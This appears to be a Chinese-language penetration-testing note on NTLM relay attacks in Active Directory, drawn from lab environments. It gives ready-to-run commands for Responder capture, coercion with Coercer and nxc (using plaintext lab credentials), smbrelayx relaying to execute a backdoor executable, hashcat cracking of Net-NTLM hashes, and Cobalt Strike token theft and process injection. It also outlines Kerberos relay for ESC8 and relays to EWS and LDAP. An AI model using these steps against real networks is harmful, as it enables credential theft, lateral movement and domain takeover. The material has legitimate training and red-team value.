NTLM relay
1. 快速利用
要求:
- 目标服务和客户端都不能强制执行加密或签名,因为我们没有执行这些操作所需的密钥(会话密钥)
- 未强制开启NTLM Relay中继保护:如扩展身份验证保护 (EPA) 也叫通道绑定
使用Coercer
#先开启监听
responder -I tun0 -A
#使用coecer强制目标机器向我们发起认证
coercer coerce -l 10.10.14.44 -t 10.10.14.11 -u henry.vinson_adm -p 'G1#Ny5@2dvht' -d htb.local --always-continue
使用nxc
nxc smb dc1.delegate.vl -u 'hack$' -p Admin123 -M coerce_plus
nxc smb dc1.delegate.vl -u 'hack$' -p Admin123 -M coerce_plus -o L=10.10.14.69 M=PrinterBug
1.1. NTLM中继 升级到kerberos中继
1.2. 自中继保护
自中继防护
由于windows存在自中继防护机制(Self-Relay Mitigations),使得我们无法在同一台机器上完成此操作
1. NTLM 自中继防护 (Self-Relay Mitigation)
在典型的 ESC8 攻击中,若 域控 (DC) 与 证书注册 Web 服务 (AD CS Web Enrollment) 运行在同一台机器上,攻击流程会触发“自中继”:
- 诱导机器 A(DC)向攻击者发起认证。
- 攻击者将凭据转发回机器 A 自身的 Web 接口。
由于微软针对 NTLM 协议引入了自中继防护机制(如 MS08-068),系统会识别并拦截这种同机认证环路,导致中继失败。
2. 解决方案:Kerberos Relay (ESC8 进阶)
近期研究显示,通过 Kerberos 协议 进行中继可以绕过针对 NTLM 的自中继限制。
- 工具: RemoteKrbRelay (由 Cicada8 Research 开发)。它能够中继 Kerberos 认证(如通过 RPCSS)到 Web 接口。
- 前提条件: 该工具需在 Windows 环境下运行,并要求拥有一个合法的域机器/用户上下文。
3. 利用策略:
由于域环境通常允许普通用户将机器加入域(MachineAccountQuota 默认为 10),攻击者可以:
- 使用获取到的域用户凭据(如
rosie.powell),将自己的 Windows 虚拟机加入目标域。 - 在该虚拟机上登录域账号,运行 RemoteKrbRelay
- 诱导 DC 发起认证,通过Kerberos relay 获取 DC 的证书(.pfx/PKCS12),从而实现权限提升。
2. NTLM介绍
NTLM Relay其实严格意义上并不能叫NTLM Relay,而是应该叫 Net-NTLM Relay。它是发生在NTLM认证的第三步,在 Type3 Response消息中存在Net-NTLM Hash,当攻击者获得了Net-NTLM Hash后,可以进行中间人攻击,重放Net-NTLM Hash,这种攻击手法也就是大家所说的NTLM Relay(NTLM 中继)攻击。NTLM Relay Attack(NTLM中继攻击)指的是强制目标服务器、目标用户使用LM Hash、NTLM Hash对攻击者的服务器进行认证,攻击者将该认证中继至其他目标服务器中(域控等),根据目标域的防护等级可以在活动目录域中进行横向移动或权限提升,流程可见下图。
3. NTML Relay攻击步骤
- 捕获net-NTML Hash数据
捕获方式:
- 强制请求漏洞
- 被动钓鱼:基于文件 网页 命令 诱惑对方去访问监听主机
-
重放攻击(捕获成功)
捕获到利用重放脚本去攻击主机 -
暴力破解Net-NTLM Hash(如果捕获失败)
不成功的话就拿来暴力破解Net-NTLM Hash后续利用
4. NTLM监听(捕获)
4.1. 1、Responder(kali自带)
当kali与监听对象处于同一网段下,就能监听到该网段下的通讯数据
#监听eth1网卡
responder -I eth1
当域内主机有通讯192.168.3.12时,就可以抓到通讯用户的hash
这个hash可以用hashcat进行暴力破解 模式5600
4.2. 2、Inveigh(windows用)
暂时无法在飞书文档外展示此内容
打开运行即可,会在当前目录产生通讯记录
5. NTLM重放攻击
前提条件:捕获到NTML hash
5.1. 重放攻击--强制触发:
条件:需要一个域用户的账户密码
强制触发有很多工具 这里推荐使用Coercer,这是一个自动化项目,里面集成了很多工具
5.1.1. 强制触发--Coercer.py
该项目中集成了如图中的各种脚本
扫描利用:
python3 Coercer.py scan -t 192.168.3.21 -u webadmin -p 'admin!@#45' -d god.org
强制目标主机访问:
kali先开启监听,执行脚本强制访问
responder -I eth1
python3 Coercer.py coerce -l 192.168.3.12 -t 192.168.3.21 -u webadmin -p 'admin!@#45' -d god.org --always-continue
成功抓到hash
6. 重放攻击-被动钓鱼
- 利用LLMNR&NBNS攻击
- 利用系统命令 如
net use \\192.168.3.12 - 利用钓鱼网页
- 利用office文档
- 利用系统图标
- 利用SCF文件
- 利用PDF文件
- 利用用户头像设置
6.1. 被动攻击--smbrelayx.py
暂时无法在飞书文档外展示此内容
kali执行重放利用 中继到192.168.3.31后执行1111.exe后门
原理:
windows执行net use //192.168.3.12会进行用户密码认证,会先用本机用户的密码进行认证,成功则不需要验证,失败才会要求重新输入账号密码
3.32执行net use //192.168.3.12后,会与3.12进行密码比对,3.12做了一个中继转发给3.31,由于3.31密码与3.32一样,则3.31就能成功执行命令
192.168.3.12 kali ip地址
192.168.3.32 sqlserver 密码 admin!@#45
192.168.3.31 webadmin 密码 admin!@#45
kali运行
python3 smbrelayx.py -h 192.168.3.31 -c c:\\1111.exe
然后 192.168.3.32 sqlserver执行命令(这里用Administrator用户权限能成功执行,但其他用户权限就不行,System权限也不行,因为只有Administrator用户才能与webadmin比对成功)
net use //192.168.3.12
发现192.168.3.32 sqlserver执行命令但192.168.3.31 webadmin 却上线了
6.2. CS进行中继攻击
6.2.1. 当前环境:
已经取得192.168.3.31 webadmin权限,现用192.168.3.31 webadmin对192.168.3.32 sqlserver进行重放攻击
6.2.2. 攻击过程
对webadmin用户进行提权,一步提到了system用户权限
尝试对192.168.3.32进行访问,发现都不可以,不管是system权限还是webadmin用户权限。通过上面的例子,我们知道这里只有Administrator用户权限才可以,这时候就需要进行降权了
6.2.3. 降权到Administrator权限
6.2.3.1. 降权方式1:进程注入
进程列表找到Administrator权限的进程,点击下面的注入
然后就可以获取到Administrator用户权限了
6.2.3.2. 降权方式2:令牌窃取
选择一个Administrator用户的进行令牌窃取
然后进行窃取的用户就会变成Administrator用户权限,用窃取令牌的用户执行命令即可(这里用System用户进行窃取,则用system会话执行命令)
7. NTLM中继攻击-暴力破解
当拿到hash后就可以进行重放攻击。如果重放攻击失败,则可以考虑进行暴力破解
通过监听抓取hash
暴力破解
hashcat -m 5600 hash.txt rockyou.txt
Relay To EWS
Exchange认证也支持NTLM SSP的。于是我们可以将SMB流量Relay到Exchange的EWS接口,从而可以进行收发邮件等操作,还可以通过Homepage下发规则达到命令执行的效果。
Relay To LDAP
1、利用基于资源的约束性委派进行权限提升
2、Write Dcsync ACL Dump域内哈希















